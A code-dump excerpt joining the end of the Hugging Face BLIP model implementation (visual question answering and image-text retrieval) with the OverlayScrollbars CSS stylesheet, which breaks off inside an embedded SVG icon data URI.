labels: Optional[torch.LongTensor] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BlipTextVisionModelOutput]:
r"""
Returns:
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipForQuestionAnswering
>>> model = BlipForQuestionAnswering.from_pretrained("Salesforce/blip-vqa-base")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-vqa-base")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> # training
>>> text = "How many cats are in the picture?"
>>> label = "2"
>>> inputs = processor(images=image, text=text, return_tensors="pt")
>>> labels = processor(text=label, return_tensors="pt").input_ids
>>> inputs["labels"] = labels
>>> outputs = model(**inputs)
>>> loss = outputs.loss
>>> loss.backward()
>>> # inference
>>> text = "How many cats are in the picture?"
>>> inputs = processor(images=image, text=text, return_tensors="pt")
>>> outputs = model.generate(**inputs)
>>> print(processor.decode(outputs[0], skip_special_tokens=True))
2
```"""
if labels is None and decoder_input_ids is None:
raise ValueError(
"Either `decoder_input_ids` or `labels` should be passed when calling `forward` with"
" `BlipForQuestionAnswering`. if you are training the model make sure that `labels` is passed, if you"
" are using the model for inference make sure that `decoder_input_ids` is passed or call `generate`"
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
vision_outputs = self.vision_model(
pixel_values=pixel_values,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
image_embeds = vision_outputs[0]
image_attention_mask = torch.ones(image_embeds.size()[:-1], dtype=torch.long)
question_embeds = self.text_encoder(
input_ids=input_ids,
attention_mask=attention_mask,
encoder_hidden_states=image_embeds,
encoder_attention_mask=image_attention_mask,
return_dict=return_dict,
)
question_embeds = question_embeds[0] if not return_dict else question_embeds.last_hidden_state
if labels is not None and decoder_input_ids is None:
# get decoder inputs from shifting lm labels to the right - this is used in training mode
decoder_input_ids = self._shift_right(labels)
# replace possible -100 values in labels by `pad_token_id`
labels = labels.masked_fill(labels == self.decoder_pad_token_id, -100)
answer_output = self.text_decoder(
input_ids=decoder_input_ids,
attention_mask=decoder_attention_mask,
encoder_hidden_states=question_embeds,
encoder_attention_mask=attention_mask,
labels=labels,
return_dict=return_dict,
reduction="mean",
)
if labels is not None:
decoder_loss = answer_output.loss.mean() if return_dict else answer_output[0].mean()
else:
decoder_loss = None
if not return_dict:
outputs = (decoder_loss, image_embeds, vision_outputs[0]) + vision_outputs[2:]
return tuple(output for output in outputs if output is not None)
return BlipTextVisionModelOutput(
loss=decoder_loss,
image_embeds=image_embeds,
last_hidden_state=vision_outputs.last_hidden_state,
hidden_states=vision_outputs.hidden_states,
attentions=vision_outputs.attentions,
)
@torch.no_grad()
def generate(
self,
input_ids: torch.LongTensor,
pixel_values: torch.FloatTensor,
attention_mask: Optional[torch.LongTensor] = None,
**generate_kwargs,
) -> torch.LongTensor:
r"""
Overrides *generate* function to be able to use the model as a conditional generator
Parameters:
input_ids (*torch.LongTensor* of shape *(batch_size, sequence_length)*):
The sequence used as a prompt for the generation.
pixel_values (*torch.FloatTensor* of shape *(batch_size, image_width, image_height)*:
Input image to be processed
attention_mask (*torch.LongTensor* of shape *(batch_size, sequence_length)*, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`. `1` for
tokens that are NOT MASKED, `0` for MASKED tokens.
**generate_kwargs:
Additional arguments passed to the *generate* function of the decoder
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipForQuestionAnswering
>>> model = BlipForQuestionAnswering.from_pretrained("Salesforce/blip-vqa-base")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-vqa-base")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> text = "How many cats are in the picture?"
>>> inputs = processor(images=image, text=text, return_tensors="pt")
>>> outputs = model.generate(**inputs)
>>> print(processor.decode(outputs[0], skip_special_tokens=True))
2
```
"""
vision_outputs = self.vision_model(
pixel_values=pixel_values,
)
image_embeds = vision_outputs[0]
image_attention_mask = torch.ones(image_embeds.size()[:-1], dtype=torch.long).to(image_embeds.device)
if isinstance(input_ids, list):
input_ids = torch.LongTensor(input_ids)
question_outputs = self.text_encoder(
input_ids=input_ids,
attention_mask=attention_mask,
encoder_hidden_states=image_embeds,
encoder_attention_mask=image_attention_mask,
return_dict=False,
)
question_embeds = question_outputs[0]
question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long).to(question_embeds.device)
bos_ids = torch.full(
(question_embeds.size(0), 1), fill_value=self.decoder_start_token_id, device=question_embeds.device
)
outputs = self.text_decoder.generate(
input_ids=bos_ids,
eos_token_id=self.config.text_config.sep_token_id,
pad_token_id=self.config.text_config.pad_token_id,
encoder_hidden_states=question_embeds,
encoder_attention_mask=question_attention_mask,
**generate_kwargs,
)
return outputs
@add_start_docstrings(
"""
BLIP Model with a vision and text projector, and a classification head on top. The model is used in the context of
image-text retrieval. Given an image and a text, the model returns the probability of the text being relevant to
the image.
""",
BLIP_START_DOCSTRING,
)
class BlipForImageTextRetrieval(BlipPreTrainedModel):
config_class = BlipConfig
def __init__(self, config: BlipConfig):
super().__init__(config)
self.vision_model = BlipVisionModel(config.vision_config)
self.text_encoder = BlipTextModel(config.text_config, add_pooling_layer=False)
# vision projection layer
self.vision_proj = nn.Linear(config.vision_config.hidden_size, config.image_text_hidden_size)
# text projection layer
self.text_proj = nn.Linear(config.text_config.hidden_size, config.image_text_hidden_size)
# image text matching head
self.itm_head = nn.Linear(config.text_config.hidden_size, 2)
self.decoder_pad_token_id = (
config.text_config.pad_token_id
if not hasattr(config, "decoder_pad_token_id")
else config.decoder_pad_token_id
)
self.decoder_start_token_id = (
config.text_config.bos_token_id
if not hasattr(config, "decoder_start_token_id")
else config.decoder_start_token_id
)
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self) -> nn.Module:
return self.vision_model.embeddings.patch_embedding
@add_start_docstrings_to_model_forward(BLIP_VISION_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=BlipTextVisionModelOutput, config_class=BlipVisionConfig)
def forward(
self,
input_ids: torch.LongTensor,
pixel_values: torch.FloatTensor,
use_itm_head: Optional[bool] = True,
attention_mask: Optional[torch.LongTensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BlipTextVisionModelOutput]:
r"""
Returns:
Examples:
```python
>>> from PIL import Image
>>> import requests
>>> from transformers import AutoProcessor, BlipForImageTextRetrieval
>>> model = BlipForImageTextRetrieval.from_pretrained("Salesforce/blip-itm-base-coco")
>>> processor = AutoProcessor.from_pretrained("Salesforce/blip-itm-base-coco")
>>> url = "http://images.cocodataset.org/val2017/000000039769.jpg"
>>> image = Image.open(requests.get(url, stream=True).raw)
>>> text = "an image of a cat"
>>> inputs = processor(images=image, text=text, return_tensors="pt")
>>> outputs = model(**inputs)
```
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
vision_outputs = self.vision_model(
pixel_values=pixel_values,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
image_embeds = vision_outputs[0]
image_atts = torch.ones(image_embeds.size()[:-1], dtype=torch.long)
if use_itm_head:
question_embeds = self.text_encoder(
input_ids=input_ids,
attention_mask=attention_mask,
encoder_hidden_states=image_embeds,
encoder_attention_mask=image_atts,
return_dict=return_dict,
)
question_embeds = question_embeds[0] if not return_dict else question_embeds.last_hidden_state
output = self.itm_head(question_embeds[:, 0, :])
else:
question_embeds = self.text_encoder(
input_ids=input_ids,
attention_mask=attention_mask,
return_dict=return_dict,
)
question_embeds = question_embeds[0] if not return_dict else question_embeds.last_hidden_state
image_feat = normalize(self.vision_proj(image_embeds[:, 0, :]), dim=-1)
text_feat = normalize(self.text_proj(question_embeds[:, 0, :]), dim=-1)
output = image_feat @ text_feat.t()
if not return_dict:
outputs = (output, vision_outputs[0]) + vision_outputs[2:] + (question_embeds,)
return tuple(output for output in outputs if output is not None)
return BlipImageTextMatchingModelOutput(
itm_score=output,
last_hidden_state=vision_outputs.last_hidden_state,
hidden_states=vision_outputs.hidden_states,
attentions=vision_outputs.attentions,
question_embeds=question_embeds,
)
|
2740908911/Pilot-Web | 23,754 | pilot-client/plugins/overlayScrollbars/css/OverlayScrollbars.css | /*!
* OverlayScrollbars
* https://github.com/KingSora/OverlayScrollbars
*
* Version: 1.13.0
*
* Copyright KingSora | Rene Haas.
* https://github.com/KingSora
*
* Released under the MIT license.
* Date: 02.08.2020
*/
/*
OVERLAY SCROLLBARS CORE:
*/
html.os-html,
html.os-html > .os-host {
display: block;
overflow: hidden;
box-sizing: border-box;
height: 100% !important;
width: 100% !important;
min-width: 100% !important;
min-height: 100% !important;
margin: 0 !important;
position: absolute !important; /* could be position: fixed; but it causes issues on iOS (-webkit-overflow-scrolling: touch) */
}
html.os-html > .os-host > .os-padding {
position: absolute; /* could be position: fixed; but it causes issues on iOS (-webkit-overflow-scrolling: touch) */
}
body.os-dragging,
body.os-dragging * {
cursor: default;
}
.os-host,
.os-host-textarea {
position: relative;
overflow: visible !important;
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-ms-flex-direction: column;
flex-direction: column;
-ms-flex-wrap: nowrap;
flex-wrap: nowrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start;
-ms-flex-line-pack: start;
align-content: flex-start;
-webkit-box-align: start;
-ms-flex-align: start;
-ms-grid-row-align: flex-start;
align-items: flex-start;
}
.os-host-flexbox {
overflow: hidden !important;
display: -webkit-box;
display: -ms-flexbox;
display: flex;
}
.os-host-flexbox > .os-size-auto-observer {
height: inherit !important;
}
.os-host-flexbox > .os-content-glue {
-webkit-box-flex: 1;
-ms-flex-positive: 1;
flex-grow: 1;
-ms-flex-negative: 0;
flex-shrink: 0;
}
.os-host-flexbox > .os-size-auto-observer,
.os-host-flexbox > .os-content-glue {
min-height: 0;
min-width: 0;
-webkit-box-flex: 0;
-ms-flex-positive: 0;
flex-grow: 0;
-ms-flex-negative: 1;
flex-shrink: 1;
-ms-flex-preferred-size: auto;
flex-basis: auto;
}
#os-dummy-scrollbar-size {
position: fixed;
opacity: 0;
-ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';
visibility: hidden;
overflow: scroll;
height: 500px;
width: 500px;
}
#os-dummy-scrollbar-size > div {
width: 200%;
height: 200%;
margin: 10px 0;
}
/* fix restricted measuring */
#os-dummy-scrollbar-size:before,
#os-dummy-scrollbar-size:after,
.os-content:before,
.os-content:after {
content: '';
display: table;
width: 0.01px;
height: 0.01px;
line-height: 0;
font-size: 0;
flex-grow: 0;
flex-shrink: 0;
visibility: hidden;
}
#os-dummy-scrollbar-size,
.os-viewport {
-ms-overflow-style: scrollbar !important;
}
.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size,
.os-viewport-native-scrollbars-invisible.os-viewport {
scrollbar-width: none !important;
}
.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size::-webkit-scrollbar,
.os-viewport-native-scrollbars-invisible.os-viewport::-webkit-scrollbar,
.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size::-webkit-scrollbar-corner,
.os-viewport-native-scrollbars-invisible.os-viewport::-webkit-scrollbar-corner {
display: none !important;
width: 0px !important;
height: 0px !important;
visibility: hidden !important;
background: transparent !important;
}
.os-content-glue {
box-sizing: inherit;
max-height: 100%;
max-width: 100%;
width: 100%;
pointer-events: none;
}
.os-padding {
box-sizing: inherit;
direction: inherit;
position: absolute;
overflow: visible;
padding: 0;
margin: 0;
left: 0;
top: 0;
bottom: 0;
right: 0;
width: auto !important;
height: auto !important;
z-index: 0;
}
.os-host-overflow > .os-padding {
overflow: hidden;
}
.os-viewport {
direction: inherit !important;
box-sizing: inherit !important;
resize: none !important;
outline: none !important;
position: absolute;
overflow: hidden;
top: 0;
left: 0;
bottom: 0;
right: 0;
padding: 0;
margin: 0;
-webkit-overflow-scrolling: touch;
}
.os-content-arrange {
position: absolute;
z-index: -1;
min-height: 1px;
min-width: 1px;
pointer-events: none;
}
.os-content {
direction: inherit;
box-sizing: border-box !important;
position: relative;
display: block;
height: 100%;
width: 100%;
height: 100%;
width: 100%;
visibility: visible;
}
.os-content > .os-textarea {
box-sizing: border-box !important;
direction: inherit !important;
background: transparent !important;
outline: 0px none transparent !important;
overflow: hidden !important;
position: absolute !important;
display: block !important;
top: 0 !important;
left: 0 !important;
margin: 0 !important;
border-radius: 0px !important;
float: none !important;
-webkit-filter: none !important;
filter: none !important;
border: none !important;
resize: none !important;
-webkit-transform: none !important;
transform: none !important;
max-width: none !important;
max-height: none !important;
box-shadow: none !important;
-webkit-perspective: none !important;
perspective: none !important;
opacity: 1 !important;
z-index: 1 !important;
clip: auto !important;
vertical-align: baseline !important;
padding: 0px;
}
.os-host-rtl > .os-padding > .os-viewport > .os-content > .os-textarea {
right: 0 !important;
}
.os-content > .os-textarea-cover {
z-index: -1;
pointer-events: none;
}
.os-content > .os-textarea[wrap='off'] {
white-space: pre !important;
margin: 0px !important;
}
.os-text-inherit {
font-family: inherit;
font-size: inherit;
font-weight: inherit;
font-style: inherit;
font-variant: inherit;
text-transform: inherit;
text-decoration: inherit;
text-indent: inherit;
text-align: inherit;
text-shadow: inherit;
text-overflow: inherit;
letter-spacing: inherit;
word-spacing: inherit;
line-height: inherit;
unicode-bidi: inherit;
direction: inherit;
color: inherit;
cursor: text;
}
.os-resize-observer,
.os-resize-observer-host {
box-sizing: inherit;
display: block;
visibility: hidden;
position: absolute;
top: 0;
left: 0;
height: 100%;
width: 100%;
overflow: hidden;
pointer-events: none;
z-index: -1;
}
.os-resize-observer-host {
padding: inherit;
border: inherit;
border-color: transparent;
border-style: solid;
box-sizing: border-box;
}
.os-resize-observer-host.observed {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: flex-start;
}
.os-resize-observer-host > .os-resize-observer,
.os-resize-observer-host.observed > .os-resize-observer {
height: 200%;
width: 200%;
padding: inherit;
border: inherit;
margin: 0;
display: block;
box-sizing: content-box;
}
.os-resize-observer-host.observed > .os-resize-observer,
.os-resize-observer-host.observed > .os-resize-observer:before {
display: flex;
position: relative;
flex-grow: 1;
flex-shrink: 0;
flex-basis: auto;
box-sizing: border-box;
}
.os-resize-observer-host.observed > .os-resize-observer:before {
content: '';
box-sizing: content-box;
padding: inherit;
border: inherit;
margin: 0;
}
.os-size-auto-observer {
box-sizing: inherit !important;
height: 100%;
width: inherit;
max-width: 1px;
position: relative;
float: left;
max-height: 1px;
overflow: hidden;
z-index: -1;
padding: 0;
margin: 0;
pointer-events: none;
-webkit-box-flex: inherit;
-ms-flex-positive: inherit;
flex-grow: inherit;
-ms-flex-negative: 0;
flex-shrink: 0;
-ms-flex-preferred-size: 0;
flex-basis: 0;
}
.os-size-auto-observer > .os-resize-observer {
width: 1000%;
height: 1000%;
min-height: 1px;
min-width: 1px;
}
.os-resize-observer-item {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
overflow: hidden;
z-index: -1;
opacity: 0;
direction: ltr !important;
-webkit-box-flex: 0 !important;
-ms-flex: none !important;
flex: none !important;
}
.os-resize-observer-item-final {
position: absolute;
left: 0;
top: 0;
-webkit-transition: none !important;
transition: none !important;
-webkit-box-flex: 0 !important;
-ms-flex: none !important;
flex: none !important;
}
.os-resize-observer {
-webkit-animation-duration: 0.001s;
animation-duration: 0.001s;
-webkit-animation-name: os-resize-observer-dummy-animation;
animation-name: os-resize-observer-dummy-animation;
}
object.os-resize-observer {
box-sizing: border-box !important;
}
@-webkit-keyframes os-resize-observer-dummy-animation {
from {
z-index: 0;
}
to {
z-index: -1;
}
}
@keyframes os-resize-observer-dummy-animation {
from {
z-index: 0;
}
to {
z-index: -1;
}
}
/*
CUSTOM SCROLLBARS AND CORNER CORE:
*/
.os-host-transition > .os-scrollbar,
.os-host-transition > .os-scrollbar-corner {
-webkit-transition: opacity 0.3s, visibility 0.3s, top 0.3s, right 0.3s, bottom 0.3s, left 0.3s;
transition: opacity 0.3s, visibility 0.3s, top 0.3s, right 0.3s, bottom 0.3s, left 0.3s;
}
html.os-html > .os-host > .os-scrollbar {
position: absolute; /* could be position: fixed; but it causes issues on iOS (-webkit-overflow-scrolling: touch) */
z-index: 999999; /* highest z-index of the page */
}
.os-scrollbar,
.os-scrollbar-corner {
position: absolute;
opacity: 1;
-ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=100)';
z-index: 1;
}
.os-scrollbar-corner {
bottom: 0;
right: 0;
}
.os-scrollbar {
pointer-events: none;
}
.os-scrollbar-track {
pointer-events: auto;
position: relative;
height: 100%;
width: 100%;
padding: 0 !important;
border: none !important;
}
.os-scrollbar-handle {
pointer-events: auto;
position: absolute;
width: 100%;
height: 100%;
}
.os-scrollbar-handle-off,
.os-scrollbar-track-off {
pointer-events: none;
}
.os-scrollbar.os-scrollbar-unusable,
.os-scrollbar.os-scrollbar-unusable * {
pointer-events: none !important;
}
.os-scrollbar.os-scrollbar-unusable .os-scrollbar-handle {
opacity: 0 !important;
}
.os-scrollbar-horizontal {
bottom: 0;
left: 0;
}
.os-scrollbar-vertical {
top: 0;
right: 0;
}
.os-host-rtl > .os-scrollbar-horizontal {
right: 0;
}
.os-host-rtl > .os-scrollbar-vertical {
right: auto;
left: 0;
}
.os-host-rtl > .os-scrollbar-corner {
right: auto;
left: 0;
}
.os-scrollbar-auto-hidden,
.os-padding + .os-scrollbar-corner,
.os-host-resize-disabled.os-host-scrollbar-horizontal-hidden > .os-scrollbar-corner,
.os-host-scrollbar-horizontal-hidden > .os-scrollbar-horizontal,
.os-host-resize-disabled.os-host-scrollbar-vertical-hidden > .os-scrollbar-corner,
.os-host-scrollbar-vertical-hidden > .os-scrollbar-vertical,
.os-scrollbar-horizontal.os-scrollbar-auto-hidden + .os-scrollbar-vertical + .os-scrollbar-corner,
.os-scrollbar-horizontal + .os-scrollbar-vertical.os-scrollbar-auto-hidden + .os-scrollbar-corner,
.os-scrollbar-horizontal.os-scrollbar-auto-hidden + .os-scrollbar-vertical.os-scrollbar-auto-hidden + .os-scrollbar-corner {
opacity: 0;
visibility: hidden;
pointer-events: none;
}
.os-scrollbar-corner-resize-both {
cursor: nwse-resize;
}
.os-host-rtl > .os-scrollbar-corner-resize-both {
cursor: nesw-resize;
}
.os-scrollbar-corner-resize-horizontal {
cursor: ew-resize;
}
.os-scrollbar-corner-resize-vertical {
cursor: ns-resize;
}
.os-dragging .os-scrollbar-corner.os-scrollbar-corner-resize {
cursor: default;
}
.os-host-resize-disabled.os-host-scrollbar-horizontal-hidden > .os-scrollbar-vertical {
top: 0;
bottom: 0;
}
.os-host-resize-disabled.os-host-scrollbar-vertical-hidden > .os-scrollbar-horizontal,
.os-host-rtl.os-host-resize-disabled.os-host-scrollbar-vertical-hidden > .os-scrollbar-horizontal {
right: 0;
left: 0;
}
.os-scrollbar:hover,
.os-scrollbar-corner.os-scrollbar-corner-resize {
opacity: 1 !important;
visibility: visible !important;
}
.os-scrollbar-corner.os-scrollbar-corner-resize {
background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+PHN2ZyAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIiAgIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIgICB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgICB3aWR0aD0iMTAiICAgaGVpZ2h0PSIxMCIgICB2ZXJzaW9uPSIxLjEiPiAgPGcgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAsLTEwNDIuMzYyMikiICAgICBzdHlsZT0iZGlzcGxheTppbmxpbmUiPiAgICA8cGF0aCAgICAgICBzdHlsZT0iZmlsbDojMDAwMDAwO2ZpbGwtb3BhY2l0eTowLjQ5NDExNzY1O2ZpbGwtcnVsZTpldmVub2RkO3N0cm9rZTpub25lIiAgICAgICBkPSJtIDcuNDI0MjE4NywxMDQyLjM2MjIgYyAtMC43MjM1NzkyLDAgLTEuMzEwMTU2MiwwLjU4NjYgLTEuMzEwMTU2MiwxLjMxMDIgMCwwLjI5OSAwLjEwNDM0MTksMC41NzEgMC4yNzI5NDkyLDAuNzkxNSAwLjIwOTEwMjQsMC4xNDEzIDAuNDY1NjIwNiwwLjIxODQgMC43MzY5NjI5LDAuMjE4NCAwLjcyMzU3OTMsMCAxLjMxMDE1NjMsLTAuNTg2NiAxLjMxMDE1NjMsLTEuMzEwMiAwLC0wLjI3MTMgLTAuMDc3MDkzLC0wLjUyNzggLTAuMjE4MzU5NCwtMC43MzcgLTAuMjIwNDk0MSwtMC4xNjg2IC0wLjQ5MjU0NDMsLTAuMjcyOSAtMC43OTE1NTI4LC0wLjI3MjkgeiBtIDAsMy4wODQzIGMgLTAuNzIzNTc5MiwwIC0xLjMxMDE1NjIsMC41ODY2IC0xLjMxMDE1NjIsMS4zMTAyIDAsMC4yOTkgMC4xMDQzNDE5LDAuNTcxIDAuMjcyOTQ5MiwwLjc5MTUgMC4yMDkxMDI0LDAuMTQxMyAwLjQ2NTYyMDYsMC4yMTg0IDAuNzM2OTYyOSwwLjIxODQgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjYgMS4zMTAxNTYzLC0xLjMxMDIgMCwtMC4yNzEzIC0wLjA3NzA5MywtMC41Mjc4IC0wLjIxODM1OTQsLTAuNzM2OSAtMC4yMjA0OTQxLC0wLjE2ODYgLTAuNDkyNTQ0MywtMC4yNzMgLTAuNzkxNTUyOCwtMC4yNzMgeiBtIC0zLjA4NDMyNjEsMCBjIC0wLjcyMzU3OTMsMCAtMS4zMTAxNTYzLDAuNTg2NiAtMS4zMTAxNTYzLDEuMzEwMiAwLDAuMjk5IDAuMTA0MzQxOSwwLjU3MSAwLjI3Mjk0OTIsMC43OTE1IDAuMjA5MTAyNCwwLjE0MTMgMC40NjU2MjA3LDAuMjE4NCAwLjczNjk2MjksMC4yMTg0IDAuNzIzNTc5MywwIDEuMzEwMTU2MywtMC41ODY2IDEuMzEwMTU2MywtMS4zMTAyIDAsLTAuMjcxMyAtMC4wNzcwOTMsLTAuNTI3OCAtMC4yMTgzNTk0LC0wLjczNjkgLTAuMjIwNDk0LC0wLjE2ODYgLTAuNDkyNTQ0MiwtMC4yNzMgLTAuNzkxNTUyNywtMC4yNzMgeiBtIC0zLjAyOTczNjQsMy4wMjk4IEMgMC41ODY1NzY5MywxMDQ4LjQ3NjMgMCwxMDQ5LjA2MjggMCwxMDQ5Ljc4NjQgYyAwLDAuMjk5IDAuMTA0MzQxOSwwLjU3MTEgMC4yNzI5NDkyMiwwLjc5MTYgMC4yMDkxMDIyOSwwLjE0MTIgMC40NjU2MjA2NSwwLjIxODMgMC43MzY5NjI4OCwwLjIxODMgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjUgMS4zMTAxNTYzLC0xLjMxMDEgMCwtMC4yNzE0IC0wLjA3NzA5MywtMC41Mjc5IC0wLjIxODM1OTQsLTAuNzM3IC0wLjIyMDQ5NDEsLTAuMTY4NiAtMC40OTI1NDQzLC0wLjI3MjkgLTAuNzkxNTUyOCwtMC4yNzI5IHogbSAzLjAyOTczNjQsMCBjIC0wLjcyMzU3OTMsMCAtMS4zMTAxNTYzLDAuNTg2NSAtMS4zMTAxNTYzLDEuMzEwMSAwLDAuMjk5IDAuMTA0MzQxOSwwLjU3MTEgMC4yNzI5NDkyLDAuNzkxNiAwLjIwOTEwMjQsMC4xNDEyIDAuNDY1NjIwNywwLjIxODMgMC43MzY5NjI5LDAuMjE4MyAwLjcyMzU3OTMsMCAxLjMxMDE1NjMsLTAuNTg2NSAxLjMxMDE1NjMsLTEuMzEwMSAwLC0wLjI3MTQgLTAuMDc3MDkzLC0wLjUyNzkgLTAuMjE4MzU5NCwtMC43MzcgLTAuMjIwNDk0LC0wLjE2ODYgLTAuNDkyNTQ0MiwtMC4yNzI5IC0wLjc5MTU1MjcsLTAuMjcyOSB6IG0gMy4wODQzMjYxLDAgYyAtMC43MjM1NzkyLDAgLTEuMzEwMTU2MiwwLjU4NjUgLTEuMzEwMTU2MiwxLjMxMDEgMCwwLjI5OSAwLjEwNDM0MTksMC41NzExIDAuMjcyOTQ5MiwwLjc5MTYgMC4yMDkxMDI0LDAuMTQxMiAwLjQ2NTYyMDYsMC4yMTgzIDAuNzM2OTYyOSwwLjIxODMgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjUgMS4zMTAxNTYzLC0xLjMxMDEgMCwtMC4yNzE0IC0wLjA3NzA5MywtMC41Mjc5IC0wLjIxODM1OTQsLTAuNzM3IC0wLjIyMDQ5NDEsLTAuMTY4NiAtMC40OTI1NDQzLC0wLjI3MjkgLTAuNzkxNTUyOCwtMC4yNzI5IHoiLz4gIDwvZz4gIDxnICAgICBzdHlsZT0iZGlzcGxheTppbmxpbmUiPiAgICA8cGF0aCAgICAgICBzdHlsZT0iZmlsbDojZmZmZmZmO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpldmVub2RkO3N0cm9rZTpub25lIiAgICAgICBkPSJtIDguMjE1NzcxNSwwLjI3Mjk0OTIyIGMgMC4xNDEyNjY3LDAuMjA5MTAyMjkgMC4yMTgzNTk0LDAuNDY1NjIwNjUgMC4yMTgzNTk0LDAuNzM2OTYyODggMCwwLjcyMzU3OTMgLTAuNTg2NTc3LDEuMzEwMTU2MyAtMS4zMTAxNTYzLDEuMzEwMTU2MyAtMC4yNzEzNDIzLDAgLTAuNTI3ODYwNSwtMC4wNzcwOTMgLTAuNzM2OTYyOSwtMC4yMTgzNTk0IDAuMjM5NDEwNCwwLjMxMzA4NTkgMC42MTI2MzYyLDAuNTE4NjAzNSAxLjAzNzIwNywwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDc2IC0wLjIwNTUxNzYsLTAuNzk3Nzk2NTkgLTAuNTE4NjAzNSwtMS4wMzcyMDY5OCB6IG0gMCwzLjA4NDMyNjE4IGMgMC4xNDEyNjY3LDAuMjA5MTAyMyAwLjIxODM1OTQsMC40NjU2MjA2IDAuMjE4MzU5NCwwLjczNjk2MjkgMCwwLjcyMzU3OTMgLTAuNTg2NTc3LDEuMzEwMTU2MiAtMS4zMTAxNTYzLDEuMzEwMTU2MiAtMC4yNzEzNDIzLDAgLTAuNTI3ODYwNSwtMC4wNzcwOTMgLTAuNzM2OTYyOSwtMC4yMTgzNTkzIDAuMjM5NDEwNCwwLjMxMzA4NTkgMC42MTI2MzYyLDAuNTE4NjAzNSAxLjAzNzIwNywwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NiwtMC43OTc3OTY3IC0wLjUxODYwMzUsLTEuMDM3MjA3IHogbSAtMy4wODQzMjYyLDAgYyAwLjE0MTI2NjcsMC4yMDkxMDIzIDAuMjE4MzU5NCwwLjQ2NTYyMDYgMC4yMTgzNTk0LDAuNzM2OTYyOSAwLDAuNzIzNTc5MyAtMC41ODY1NzcsMS4zMTAxNTYyIC0xLjMxMDE1NjMsMS4zMTAxNTYyIC0wLjI3MTM0MjIsMCAtMC41Mjc4NjA1LC0wLjA3NzA5MyAtMC43MzY5NjI5LC0wLjIxODM1OTMgMC4yMzk0MTA0LDAuMzEzMDg1OSAwLjYxMjYzNjMsMC41MTg2MDM1IDEuMDM3MjA3MSwwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYyLC0wLjU4NjU3NyAxLjMxMDE1NjIsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NSwtMC43OTc3OTY3IC0wLjUxODYwMzUsLTEuMDM3MjA3IHogTSAyLjEwMTcwOSw2LjM4NzAxMTcgYyAwLjE0MTI2NjcsMC4yMDkxMDI0IDAuMjE4MzU5NCwwLjQ2NTYyMDYgMC4yMTgzNTk0LDAuNzM2OTYyOSAwLDAuNzIzNTc5MyAtMC41ODY1NzcsMS4zMTAxNTYzIC0xLjMxMDE1NjMsMS4zMTAxNTYzIC0wLjI3MTM0MjIzLDAgLTAuNTI3ODYwNTksLTAuMDc3MDkzIC0wLjczNjk2Mjg4LC0wLjIxODM1OTQgMC4yMzk0MTAzOSwwLjMxMzA4NTkgMC42MTI2MzYyMiwwLjUxODYwMzUgMS4wMzcyMDY5OCwwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NiwtMC43OTc3OTY2IC0wLjUxODYwMzUsLTEuMDM3MjA3IHogbSAzLjAyOTczNjMsMCBjIDAuMTQxMjY2NywwLjIwOTEwMjQgMC4yMTgzNTk0LDAuNDY1NjIwNiAwLjIxODM1OTQsMC43MzY5NjI5IDAsMC43MjM1NzkzIC0wLjU4NjU3NywxLjMxMDE1NjM